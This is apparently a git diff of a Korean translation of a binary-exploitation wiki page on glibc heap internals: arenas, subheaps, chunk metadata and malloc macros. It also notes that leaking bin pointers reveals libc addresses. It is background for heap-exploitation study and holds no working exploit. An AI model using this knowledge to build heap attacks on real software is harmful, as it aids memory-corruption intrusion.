Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat
Before Width: | Height: | Size: 65 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
BIN
.gitbook/assets/image (10) (1) (1).png
Normal file
After Width: | Height: | Size: 708 KiB |
Before Width: | Height: | Size: 708 KiB After Width: | Height: | Size: 287 KiB |
Before Width: | Height: | Size: 287 KiB After Width: | Height: | Size: 28 KiB |
BIN
.gitbook/assets/image (11) (1) (1).png
Normal file
After Width: | Height: | Size: 201 KiB |
Before Width: | Height: | Size: 201 KiB After Width: | Height: | Size: 197 KiB |
Before Width: | Height: | Size: 197 KiB After Width: | Height: | Size: 23 KiB |
BIN
.gitbook/assets/image (12) (1) (1).png
Normal file
After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 609 KiB |
Before Width: | Height: | Size: 609 KiB After Width: | Height: | Size: 9.5 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 137 KiB |
Before Width: | Height: | Size: 137 KiB After Width: | Height: | Size: 16 KiB |
BIN
.gitbook/assets/image (14) (1) (1).png
Normal file
After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 1.3 MiB |
Before Width: | Height: | Size: 1.3 MiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 29 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 428 KiB |
Before Width: | Height: | Size: 428 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 18 KiB |
BIN
.gitbook/assets/image (17) (1) (1).png
Normal file
After Width: | Height: | Size: 42 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 92 KiB |
Before Width: | Height: | Size: 92 KiB After Width: | Height: | Size: 334 KiB |
Before Width: | Height: | Size: 90 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 116 KiB |
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 418 KiB |
Before Width: | Height: | Size: 418 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 53 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 271 KiB |
Before Width: | Height: | Size: 271 KiB After Width: | Height: | Size: 105 KiB |
Before Width: | Height: | Size: 105 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 112 KiB |
Before Width: | Height: | Size: 112 KiB After Width: | Height: | Size: 22 KiB |
Before Width: | Height: | Size: 18 KiB After Width: | Height: | Size: 3.2 MiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 10 KiB |
Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 262 KiB |
Before Width: | Height: | Size: 262 KiB After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 95 KiB After Width: | Height: | Size: 407 KiB |
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 284 KiB |
Before Width: | Height: | Size: 284 KiB After Width: | Height: | Size: 40 KiB |
Before Width: | Height: | Size: 58 KiB After Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 453 KiB |
Before Width: | Height: | Size: 453 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 23 KiB After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 210 KiB |
Before Width: | Height: | Size: 210 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 1 MiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 594 KiB |
Before Width: | Height: | Size: 594 KiB After Width: | Height: | Size: 26 KiB |
Before Width: | Height: | Size: 334 KiB After Width: | Height: | Size: 35 KiB |
|
@ -1,56 +1,56 @@
|
|||
# 힙
|
||||
# Libc Heap
|
||||
|
||||
## 힙 기초
|
||||
## Heap Basics
|
||||
|
||||
힙은 프로그램이 **`malloc`**, `calloc` 등의 함수를 호출하여 데이터를 요청할 때 데이터를 저장할 수 있는 공간입니다. 더 이상 필요하지 않은 메모리는 **`free`** 함수를 호출하여 사용 가능하게 만듭니다.
|
||||
힙은 기본적으로 프로그램이 **`malloc`**, `calloc`와 같은 함수를 호출하여 데이터를 요청할 때 데이터를 저장할 수 있는 장소입니다. 또한, 이 메모리가 더 이상 필요하지 않을 때는 **`free`** 함수를 호출하여 사용 가능하게 됩니다.
|
||||
|
||||
힙은 메모리에 로드된 이진 파일 바로 뒤에 위치하며 ( `[heap]` 섹션을 확인하세요):
|
||||
보시다시피, 이는 바이너리가 메모리에 로드된 직후에 위치합니다 ( `[heap]` 섹션을 확인하세요):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 기본 청크 할당
|
||||
### Basic Chunk Allocation
|
||||
|
||||
힙에 데이터를 저장하도록 요청하면 힙의 일부 공간이 해당 데이터에 할당됩니다. 이 공간은 bin에 속하며 요청된 데이터 + bin 헤더 공간 + 최소 bin 크기 오프셋만 청크에 예약됩니다. 각 청크가 어디에 있는지 찾기 어렵지 않게 최소한의 메모리만 예약하는 것이 목표입니다. 이를 위해 메타데이터 청크 정보를 사용하여 각 사용 중/해제된 청크가 어디에 있는지 알 수 있습니다.
|
||||
힙에 저장할 데이터가 요청되면, 힙의 일부 공간이 할당됩니다. 이 공간은 빈에 속하며 요청된 데이터 + 빈 헤더의 공간 + 최소 빈 크기 오프셋만큼이 청크를 위해 예약됩니다. 목표는 각 청크의 위치를 찾는 것을 복잡하게 만들지 않으면서 가능한 최소한의 메모리만 예약하는 것입니다. 이를 위해 메타데이터 청크 정보를 사용하여 사용 중인/비어 있는 청크의 위치를 알 수 있습니다.
|
||||
|
||||
사용된 bin에 따라 공간을 예약하는 방법이 다양하지만 일반적인 방법은 다음과 같습니다:
|
||||
공간을 예약하는 방법은 사용된 빈에 따라 다르지만, 일반적인 방법론은 다음과 같습니다:
|
||||
|
||||
* 프로그램은 일정량의 메모리를 요청하여 시작합니다.
|
||||
* 청크 목록에서 요청을 충족할 수 있는 충분히 큰 공간이 있는 경우 사용됩니다.
|
||||
* 이는 심지어 사용 가능한 청크의 일부가 이 요청에 사용되고 나머지는 청크 목록에 추가될 수 있음을 의미할 수 있습니다.
|
||||
* 목록에 사용 가능한 청크가 없지만 할당된 힙 메모리에 여전히 공간이 있는 경우, 힙 관리자는 새로운 청크를 생성합니다.
|
||||
* 새로운 청크를 할당할 힙 공간이 충분하지 않은 경우, 힙 관리자는 커널에게 힙에 할당된 메모리를 확장하도록 요청한 다음 이 메모리를 사용하여 새로운 청크를 생성합니다.
|
||||
* 모든 것이 실패하면 `malloc`은 null을 반환합니다.
|
||||
* 프로그램은 특정 양의 메모리를 요청합니다.
|
||||
* 청크 목록에 요청을 충족할 수 있을 만큼 큰 사용 가능한 청크가 있으면 사용됩니다.
|
||||
* 이는 사용 가능한 청크의 일부가 이 요청에 사용되고 나머지는 청크 목록에 추가될 수 있음을 의미할 수 있습니다.
|
||||
* 목록에 사용 가능한 청크가 없지만 할당된 힙 메모리에 여전히 공간이 있는 경우, 힙 관리자는 새 청크를 생성합니다.
|
||||
* 새 청크를 할당할 충분한 힙 공간이 없는 경우, 힙 관리자는 커널에 힙에 할당된 메모리를 확장하도록 요청하고 이 메모리를 사용하여 새 청크를 생성합니다.
|
||||
* 모든 것이 실패하면, `malloc`은 null을 반환합니다.
|
||||
|
||||
요청된 **메모리가 임계값을 초과하면**, **`mmap`**이 요청된 메모리를 매핑하는 데 사용됩니다.
|
||||
|
||||
## 아레나
|
||||
## Arenas
|
||||
|
||||
**다중 스레드** 응용 프로그램에서 힙 관리자는 충돌로 인한 충돌을 방지해야 합니다. 초기에는 **전역 뮤텍스**를 사용하여 한 번에 한 스레드만 힙에 액세스할 수 있도록 보장했지만, 이는 **성능 문제**를 일으켰습니다.
|
||||
**멀티스레드** 애플리케이션에서 힙 관리자는 충돌로 이어질 수 있는 **경쟁 조건**을 방지해야 합니다. 처음에는 **전역 뮤텍스**를 사용하여 한 번에 하나의 스레드만 힙에 접근할 수 있도록 했지만, 이는 뮤텍스에 의한 병목 현상으로 인해 **성능 문제**를 일으켰습니다.
|
||||
|
||||
이를 해결하기 위해 ptmalloc2 힙 할당기는 "아레나"를 도입했는데, **각 아레나**는 **자체** 데이터 **구조** 및 **뮤텍스**를 가진 **별도의 힙** 역할을 하여 서로 간섭하지 않고 여러 스레드가 힙 작업을 수행할 수 있도록 합니다.
|
||||
이를 해결하기 위해 ptmalloc2 힙 할당자는 "아레나"를 도입했습니다. 여기서 **각 아레나**는 **자체** 데이터 **구조**와 **뮤텍스**를 가진 **별도의 힙**으로 작용하여 서로 다른 아레나를 사용하는 한 여러 스레드가 힙 작업을 수행할 수 있도록 합니다.
|
||||
|
||||
기본 "main" 아레나는 단일 스레드 응용 프로그램을 위한 힙 작업을 처리합니다. **새 스레드**가 추가되면 힙 관리자는 경합을 줄이기 위해 그들에게 **보조 아레나**를 할당합니다. 먼저 각 새 스레드를 사용하지 않은 아레나에 연결하려고 시도하며 필요한 경우 새로운 것을 만들어 32비트 시스템의 CPU 코어 수의 2배 한도까지, 64비트 시스템의 경우 8배까지 제한됩니다. 한도에 도달하면 **스레드는 아레나를 공유**해야 하므로 잠재적인 경합이 발생합니다.
|
||||
기본 "메인" 아레나는 단일 스레드 애플리케이션의 힙 작업을 처리합니다. **새 스레드**가 추가되면, 힙 관리자는 경쟁을 줄이기 위해 **보조 아레나**를 할당합니다. 먼저 각 새 스레드를 사용되지 않는 아레나에 연결하려고 시도하며, 필요할 경우 새 아레나를 생성합니다. 32비트 시스템의 경우 CPU 코어 수의 2배, 64비트 시스템의 경우 8배까지 제한이 있습니다. 제한에 도달하면 **스레드는 아레나를 공유해야 하며**, 이는 잠재적인 경쟁으로 이어질 수 있습니다.
|
||||
|
||||
주 아레나가 `brk` 시스템 호출을 사용하여 확장하는 반면, 보조 아레나는 `mmap` 및 `mprotect`를 사용하여 "서브힙"을 생성하여 힙 동작을 모방하여 다중 스레드 작업에 대한 메모리 관리를 유연하게 할 수 있습니다.
|
||||
메인 아레나와 달리 `brk` 시스템 호출을 사용하여 확장되는 보조 아레나는 `mmap` 및 `mprotect`를 사용하여 "서브힙"을 생성하여 멀티스레드 작업을 위한 메모리 관리를 유연하게 합니다.
|
||||
|
||||
### 서브힙
|
||||
### Subheaps
|
||||
|
||||
서브힙은 다중 스레드 응용 프로그램의 보조 아레나에 대한 메모리 예비로 작동하여 메인 힙과 별도로 자체 힙 영역을 성장하고 관리할 수 있습니다. 서브힙이 초기 힙과 어떻게 다르며 작동하는지에 대한 내용은 다음과 같습니다:
|
||||
서브힙은 멀티스레드 애플리케이션에서 보조 아레나를 위한 메모리 예비 공간으로 작용하여, 메인 힙과 별도로 자체 힙 영역을 성장시키고 관리할 수 있게 합니다. 서브힙이 초기 힙과 어떻게 다른지 및 작동 방식은 다음과 같습니다:
|
||||
|
||||
1. **초기 힙 대 서브힙**:
|
||||
* 초기 힙은 메모리에 로드된 프로그램 바로 뒤에 위치하며 `sbrk` 시스템 호출을 사용하여 확장됩니다.
|
||||
* 보조 아레나에서 사용되는 서브힙은 `mmap`을 통해 생성되며 지정된 메모리 영역을 매핑하는 시스템 호출입니다.
|
||||
2. **`mmap`을 사용한 메모리 예약**:
|
||||
* 힙 관리자가 서브힙을 생성하면 `mmap`을 통해 큰 메모리 블록을 예약합니다. 이 예약은 즉시 메모리를 할당하지 않고 다른 시스템 프로세스나 할당이 사용하지 않아야 하는 영역을 지정합니다.
|
||||
* 기본적으로 32비트 프로세스의 서브힙에 대한 예약 크기는 1MB이며, 64비트 프로세스의 경우 64MB입니다.
|
||||
3. **`mprotect`를 사용한 점진적 확장**:
|
||||
* 예약된 메모리 영역은 처음에 `PROT_NONE`으로 표시되어 있어 커널이 이 공간에 물리적 메모리를 할당할 필요가 없음을 나타냅니다.
|
||||
* 서브힙을 "확장"하기 위해 힙 관리자는 `mprotect`를 사용하여 페이지 권한을 `PROT_NONE`에서 `PROT_READ | PROT_WRITE`로 변경하여 커널이 이전에 예약된 주소에 물리적 메모리를 할당하도록 합니다. 이 단계별 접근 방식을 통해 서브힙은 필요에 따라 확장될 수 있습니다.
|
||||
* 서브힙 전체가 고갈되면 힙 관리자는 계속해서 할당하기 위해 새로운 서브힙을 생성합니다.
|
||||
1. **초기 힙 vs. 서브힙**:
|
||||
* 초기 힙은 메모리에서 프로그램의 바이너리 바로 뒤에 위치하며, `sbrk` 시스템 호출을 사용하여 확장됩니다.
|
||||
* 보조 아레나에서 사용되는 서브힙은 지정된 메모리 영역을 매핑하는 시스템 호출인 `mmap`을 통해 생성됩니다.
|
||||
2. **`mmap`을 통한 메모리 예약**:
|
||||
* 힙 관리자가 서브힙을 생성할 때, `mmap`을 통해 큰 메모리 블록을 예약합니다. 이 예약은 즉시 메모리를 할당하지 않으며, 다른 시스템 프로세스나 할당이 사용하지 않아야 할 영역을 지정하는 것입니다.
|
||||
* 기본적으로 서브힙의 예약 크기는 32비트 프로세스의 경우 1MB, 64비트 프로세스의 경우 64MB입니다.
|
||||
3. **`mprotect`를 통한 점진적 확장**:
|
||||
* 예약된 메모리 영역은 처음에 `PROT_NONE`으로 표시되어, 커널이 이 공간에 물리적 메모리를 할당할 필요가 없음을 나타냅니다.
|
||||
* 서브힙을 "확장"하기 위해, 힙 관리자는 `mprotect`를 사용하여 페이지 권한을 `PROT_NONE`에서 `PROT_READ | PROT_WRITE`로 변경하여 커널이 이전에 예약된 주소에 물리적 메모리를 할당하도록 합니다. 이 단계별 접근 방식은 서브힙이 필요에 따라 확장될 수 있도록 합니다.
|
||||
* 서브힙이 모두 소진되면, 힙 관리자는 할당을 계속하기 위해 새 서브힙을 생성합니다.
|
||||
|
||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
이 구조체는 힙의 관련 정보를 할당합니다. 또한 더 많은 할당 후 힙 메모리가 연속적이지 않을 수 있으므로 이 구조체는 해당 정보도 저장합니다.
|
||||
이 구조체는 힙의 관련 정보를 할당합니다. 또한, 추가 할당 후 힙 메모리가 연속적이지 않을 수 있으며, 이 구조체는 그 정보를 저장합니다.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||
|
||||
|
@ -70,13 +70,13 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
```
|
||||
### malloc\_state
|
||||
|
||||
**각 힙**(주 힙 또는 다른 스레드의 힙)에는 **`malloc_state` 구조체**가 있습니다.\
|
||||
중요한 점은 **주 힙의 `malloc_state`** 구조체가 **libc의 전역 변수**임을 알아야 합니다(따라서 libc 메모리 공간에 위치함).\
|
||||
스레드의 힙에 있는 **`malloc_state`** 구조체의 경우, **해당 스레드의 "힙" 내부에 위치**합니다.
|
||||
**각 힙** (메인 아레나 또는 다른 스레드 아레나)은 **`malloc_state` 구조체를 가집니다.**\
|
||||
**메인 아레나 `malloc_state`** 구조체는 **libc의 전역 변수**라는 점에 유의하는 것이 중요합니다 (따라서 libc 메모리 공간에 위치합니다).\
|
||||
스레드의 힙의 **`malloc_state`** 구조체는 **자신의 스레드 "힙"** 내부에 위치합니다.
|
||||
|
||||
이 구조체에서 주목할 만한 몇 가지 사항이 있습니다(아래의 C 코드 참조):
|
||||
이 구조체에서 주목할 만한 몇 가지 흥미로운 점이 있습니다 (아래 C 코드를 참조):
|
||||
|
||||
* `__libc_lock_define (, mutex);`는 이 힙의 구조체가 한 번에 1개의 스레드에 의해 액세스되도록 보장합니다.
|
||||
* `__libc_lock_define (, mutex);`는 이 힙의 구조체가 한 번에 1개의 스레드에 의해 접근되도록 보장하기 위해 존재합니다.
|
||||
* 플래그:
|
||||
* ```c
|
||||
#define NONCONTIGUOUS_BIT (2U)
|
||||
|
@ -86,11 +86,11 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
* `mchunkptr bins[NBINS * 2 - 2];`는 작은, 큰 및 정렬되지 않은 **bins**의 **첫 번째와 마지막 청크**를 가리키는 **포인터**를 포함합니다(-2는 인덱스 0이 사용되지 않기 때문입니다).
|
||||
* 따라서 이러한 bins의 **첫 번째 청크**는 **이 구조체로의 역방향 포인터**를 가지고 있고, 이러한 bins의 **마지막 청크**는 **이 구조체로의 순방향 포인터**를 가지고 있습니다. 이것은 기본적으로 주 힙에서 이러한 주소를 **유출**할 수 있다면 **libc**의 구조체로의 포인터를 얻을 수 있다는 것을 의미합니다.
|
||||
* `struct malloc_state *next;` 및 `struct malloc_state *next_free;` 구조체는 아레나의 연결 리스트입니다.
|
||||
* `top` 청크는 마지막 "청크"로, 기본적으로 **힙에 남은 모든 공간**입니다. top 청크가 "비어" 있으면 힙이 완전히 사용되었으며 더 많은 공간을 요청해야 합니다.
|
||||
* `last reminder` 청크는 정확한 크기의 청크가 없는 경우에 나타나며, 따라서 더 큰 청크가 분할되고 포인터가 남은 부분이 여기에 배치됩니다.
|
||||
* `mchunkptr bins[NBINS * 2 - 2];`는 **작고, 크고, 정렬되지 않은 **bins**의 **첫 번째 및 마지막 청크**에 대한 **포인터**를 포함합니다 (인덱스 0이 사용되지 않기 때문에 -2입니다).
|
||||
* 따라서, 이러한 bins의 **첫 번째 청크**는 이 구조체에 대한 **역방향 포인터**를 가지며, **마지막 청크**는 이 구조체에 대한 **정방향 포인터**를 가집니다. 이는 기본적으로 **메인 아레나에서 이러한 주소를 l**eak**할 수 있다면, **libc**의 구조체에 대한 포인터를 가지게 된다는 것을 의미합니다.
|
||||
* 구조체 `struct malloc_state *next;` 및 `struct malloc_state *next_free;`는 아레나의 연결 리스트입니다.
|
||||
* `top` 청크는 마지막 "청크"로, 기본적으로 **남은 모든 힙 공간**입니다. top 청크가 "비어" 있으면, 힙이 완전히 사용되었고 더 많은 공간을 요청해야 합니다.
|
||||
* `last reminder` 청크는 정확한 크기의 청크가 사용 가능하지 않을 때 발생하며, 따라서 더 큰 청크가 분할되고, 남은 부분의 포인터가 여기에 배치됩니다.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
|
@ -140,7 +140,7 @@ INTERNAL_SIZE_T max_system_mem;
|
|||
```
|
||||
### malloc\_chunk
|
||||
|
||||
이 구조체는 메모리의 특정 청크를 나타냅니다. 다양한 필드는 할당된 청크와 할당되지 않은 청크에 대해 다른 의미를 가지고 있습니다.
|
||||
이 구조체는 특정 메모리 청크를 나타냅니다. 다양한 필드는 할당된 청크와 할당되지 않은 청크에 대해 다른 의미를 가집니다.
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
struct malloc_chunk {
|
||||
|
@ -155,37 +155,35 @@ struct malloc_chunk* bk_nextsize;
|
|||
|
||||
typedef struct malloc_chunk* mchunkptr;
|
||||
```
|
||||
이전에 설명한 대로, 이러한 청크들은 메타데이터를 가지고 있으며, 이 이미지에서 잘 표현되어 있습니다:
|
||||
앞서 언급했듯이, 이러한 청크는 메타데이터를 가지고 있으며, 이는 다음 이미지에서 잘 표현되어 있습니다:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
메타데이터는 일반적으로 현재 청크 크기를 나타내는 0x08B로 표시되며, 마지막 3비트를 사용하여 다음을 나타냅니다:
|
||||
메타데이터는 일반적으로 0x08B로, 마지막 3비트를 사용하여 현재 청크 크기를 나타냅니다:
|
||||
|
||||
* `A`: 1이면 하위 힙에서 오는 것이고, 0이면 주 힙에 있습니다.
|
||||
* `A`: 1이면 서브힙에서 온 것이고, 0이면 메인 아레나에 있습니다.
|
||||
* `M`: 1이면 이 청크는 mmap으로 할당된 공간의 일부이며 힙의 일부가 아닙니다.
|
||||
* `P`: 1이면 이전 청크가 사용 중입니다.
|
||||
|
||||
그런 다음 사용자 데이터를 위한 공간이 있고, 마지막으로 청크가 사용 가능할 때 이전 청크 크기를 나타내는 0x08B가 있습니다(또는 할당될 때 사용자 데이터를 저장하는 데 사용됩니다).
|
||||
|
||||
또한 사용 가능한 경우 사용자 데이터는 몇 가지 데이터를 포함하기도 합니다:
|
||||
|
||||
* **`fd`**: 다음 청크를 가리키는 포인터
|
||||
* **`bk`**: 이전 청크를 가리키는 포인터
|
||||
* **`fd_nextsize`**: 자신보다 작은 첫 번째 청크를 가리키는 포인터
|
||||
* **`bk_nextsize`:** 자신보다 큰 첫 번째 청크를 가리키는 포인터
|
||||
그 다음은 사용자 데이터 공간이며, 마지막으로 청크가 사용 가능할 때 이전 청크 크기를 나타내기 위해 0x08B가 있습니다(또는 할당될 때 사용자 데이터를 저장하기 위해).
|
||||
|
||||
게다가, 사용 가능할 때 사용자 데이터는 또한 일부 데이터를 포함하는 데 사용됩니다:
|
||||
|
||||
* **`fd`**: 다음 청크에 대한 포인터
|
||||
* **`bk`**: 이전 청크에 대한 포인터
|
||||
* **`fd_nextsize`**: 리스트에서 자신보다 작은 첫 번째 청크에 대한 포인터
|
||||
* **`bk_nextsize`:** 리스트에서 자신보다 큰 첫 번째 청크에 대한 포인터
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
리스트를 이렇게 구성하면 모든 청크가 등록되어 있는 배열이 필요하지 않아도 됨을 주목하세요.
|
||||
이렇게 리스트를 연결하는 방식이 모든 청크가 등록되는 배열이 필요하지 않도록 하는 방법에 유의하십시오.
|
||||
{% endhint %}
|
||||
|
||||
### 청크 포인터
|
||||
|
||||
malloc을 사용하면 쓰기 가능한 내용을 가리키는 포인터가 반환됩니다(헤더 바로 뒤), 그러나 청크를 관리할 때는 헤더(메타데이터)의 시작 부분을 가리키는 포인터가 필요합니다.\
|
||||
이러한 변환에는 다음 함수가 사용됩니다:
|
||||
malloc이 사용될 때, 쓸 수 있는 내용에 대한 포인터가 반환됩니다(헤더 바로 뒤에), 그러나 청크를 관리할 때는 헤더(메타데이터)의 시작에 대한 포인터가 필요합니다.\
|
||||
이러한 변환을 위해 다음 함수들이 사용됩니다:
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
|
||||
|
@ -205,7 +203,7 @@ malloc을 사용하면 쓰기 가능한 내용을 가리키는 포인터가 반
|
|||
```
|
||||
### 정렬 및 최소 크기
|
||||
|
||||
해당 청크의 포인터와 `0x0f`는 0이어야 합니다.
|
||||
청크에 대한 포인터와 `0x0f`는 0이어야 합니다.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
|
||||
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
|
||||
|
@ -260,9 +258,11 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
|||
return request2size (req);
|
||||
}
|
||||
```
|
||||
Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed.
|
||||
|
||||
### 청크 데이터 가져오기 및 메타데이터 변경
|
||||
|
||||
이러한 함수들은 청크에 대한 포인터를 받아들여 메타데이터를 확인/설정하는 데 유용합니다:
|
||||
이 함수들은 청크에 대한 포인터를 받아 작동하며 메타데이터를 확인/설정하는 데 유용합니다:
|
||||
|
||||
* 청크 플래그 확인
|
||||
```c
|
||||
|
@ -294,7 +294,7 @@ the chunk to the user, if necessary. */
|
|||
/* Mark a chunk as not being on the main arena. */
|
||||
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
|
||||
```
|
||||
* 다른 청크들의 크기와 포인터들
|
||||
* 다른 청크에 대한 크기 및 포인터
|
||||
```c
|
||||
/*
|
||||
Bits to mask off when extracting size
|
||||
|
@ -327,7 +327,7 @@ people extending or adapting this malloc.
|
|||
/* Treat space at ptr + offset as a chunk */
|
||||
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
|
||||
```
|
||||
* 비트 논리
|
||||
* 인수 비트
|
||||
```c
|
||||
/* extract p's inuse bit */
|
||||
#define inuse(p) \
|
||||
|
@ -351,7 +351,7 @@ people extending or adapting this malloc.
|
|||
#define clear_inuse_bit_at_offset(p, s) \
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
|
||||
```
|
||||
* 헤더와 푸터 설정 (chunk 번호 사용 중일 때)
|
||||
* 헤드와 푸터 설정 (청크 번호 사용 시)
|
||||
```c
|
||||
/* Set size at head, without disturbing its use bit */
|
||||
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
|
||||
|
@ -362,7 +362,7 @@ people extending or adapting this malloc.
|
|||
/* Set size at footer (only when chunk is not in use) */
|
||||
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
|
||||
```
|
||||
* 청크 내부의 실제 사용 가능한 데이터 크기를 얻습니다.
|
||||
* 청크 내부의 실제 사용 가능한 데이터 크기를 가져옵니다.
|
||||
```c
|
||||
#pragma GCC poison mchunk_size
|
||||
#pragma GCC poison mchunk_prev_size
|
||||
|
@ -391,11 +391,11 @@ ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
|
|||
return ptr;
|
||||
}
|
||||
```
|
||||
## 예시
|
||||
## Examples
|
||||
|
||||
### 빠른 힙 예시
|
||||
### Quick Heap Example
|
||||
|
||||
[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html)의 빠른 힙 예시를 arm64로 구현한 것:
|
||||
[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html)에서 가져온 빠른 힙 예제이지만 arm64에서:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
@ -408,13 +408,13 @@ ptr = malloc(0x10);
|
|||
strcpy(ptr, "panda");
|
||||
}
|
||||
```
|
||||
메인 함수 끝에 중단점을 설정하고 정보가 저장된 위치를 찾아봅시다:
|
||||
메인 함수의 끝에 중단점을 설정하고 정보가 어디에 저장되었는지 찾아봅시다:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
문자열 'panda'가 `0xaaaaaaac12a0`에 저장되었음을 확인할 수 있습니다 (이 주소는 `x0` 내부의 malloc에 의해 반환된 주소였습니다). 그 앞의 0x10바이트를 확인하면 `0x0`은 **이전 청크가 사용되지 않음**을 나타내고, 이 청크의 길이는 `0x21`임을 알 수 있습니다.
|
||||
문자열 panda가 `0xaaaaaaac12a0`에 저장된 것을 볼 수 있습니다 (이는 `x0` 내의 malloc에 의해 응답으로 제공된 주소입니다). 0x10 바이트 이전을 확인하면 `0x0`이 **이전 청크가 사용되지 않음** (길이 0)을 나타내고 이 청크의 길이는 `0x21`임을 알 수 있습니다.
|
||||
|
||||
추가로 예약된 공간(0x21-0x10=0x11)은 **추가된 헤더** (0x10)에서 나오며, 0x1은 0x21B가 예약되었다는 것을 의미하는 것이 아니라 현재 헤더의 길이의 마지막 3비트가 특별한 의미를 가지고 있음을 나타냅니다. 길이는 항상 16바이트로 정렬되므로(64비트 머신에서), 이 비트들은 실제로는 숫자로 사용되지 않을 것입니다.
|
||||
예약된 추가 공간 (0x21-0x10=0x11)은 **추가 헤더** (0x10)에서 발생하며 0x1은 0x21B가 예약되었다는 의미가 아니라 현재 헤더의 길이의 마지막 3비트가 특별한 의미를 가집니다. 길이는 항상 16바이트 정렬(64비트 머신에서)되므로 이 비트는 실제로 길이 숫자에 의해 사용되지 않습니다.
|
||||
```
|
||||
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
||||
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
||||
|
@ -468,35 +468,35 @@ return 0;
|
|||
```
|
